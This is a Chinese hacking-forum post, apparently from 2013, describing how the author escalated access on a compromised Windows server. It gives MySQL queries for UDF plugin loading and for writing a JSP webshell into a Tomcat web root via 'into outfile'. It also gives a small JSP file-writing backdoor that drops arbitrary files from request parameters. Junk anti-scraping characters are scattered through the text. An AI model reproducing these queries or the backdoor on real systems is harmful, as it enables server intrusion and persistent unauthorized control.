找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2549|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。  g: o% n9 j2 U+ ~
  L# n7 o- l$ t
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
3 n/ u- n% f4 e7 X9 @安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
, N( ~1 b7 A( {0 V/ A1 h提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
0 v& m6 A, y; E! B) q1 h1 show variables like '%plugin%';; t6 `* o% L- e
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功7 H4 n* h: X, o- L  s$ L8 n
创建自定义函数似乎被拦截,一直失败。. j; e4 b6 `' X
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
# u+ ~" L( |. N; U& ]测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
/ C* z' b5 x* N& k3 P用mysql执行语句:
" R* ?; S% i$ S+ \8 Z1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
  k1 j" x' N) x& ~7 Y+ [2 复制代码
1 E( `3 x* F8 l- P" r1 }) Y; x, }% y, N后成功。
" p0 m2 x" y; I/ W& `3 K但是访问后得到如下提示:7 \4 O. _& c/ a/ C: }' Y- W5 \6 A
​500页面2 U$ n% `& s- C) T

! c5 V' R) }- q7 f5 M# S' b* h/ M6 V5 w; M2 }. P2 J/ F
明显是MySQL的Win下版本自动添加转义符\n\r了
4 T1 j0 B+ b8 j3 Z+ T8 w1 m8 {: Y这样导致程序运行的悲剧。1 U2 e+ ]. q1 R9 Q' W- f5 U$ k
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
; P& O$ P8 ^* K! \) Z/ \8 b最后弄了这么个小脚本:
# k) a1 O& u9 T01 <%@ page language="java" pageEncoding="gbk"%>3 k* T  y" M, U
02 <jsp:directive.page import="java.io.File"/>8 ]8 r) v2 t  c
03 <jsp:directive.page import="java.io.OutputStream"/>( w- x/ o6 o% R: u( Y% Q
04 <jsp:directive.page import="java.io.FileOutputStream"/>
- [3 K; p3 ?+ S$ |05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>  N. v' {2 x5 [) H: }6 X
06 error www.2cto.com" ~1 G1 b; Y/ t7 T& [
07 <%}}if(i==0){%>
; \& S! o4 C3 P1 Q' x% l( i  E4 D08 ok
; o  S- R5 M# i% q, t+ l09 <%}%>1 p6 ]- C  e7 D! S  W
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
' |2 [1 \& ]5 E, H: t( [3 K! b& u就可以避免转义符让JSP的马儿运行500错误了。
  X7 i5 ?3 T  }) k: k/ h/ G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表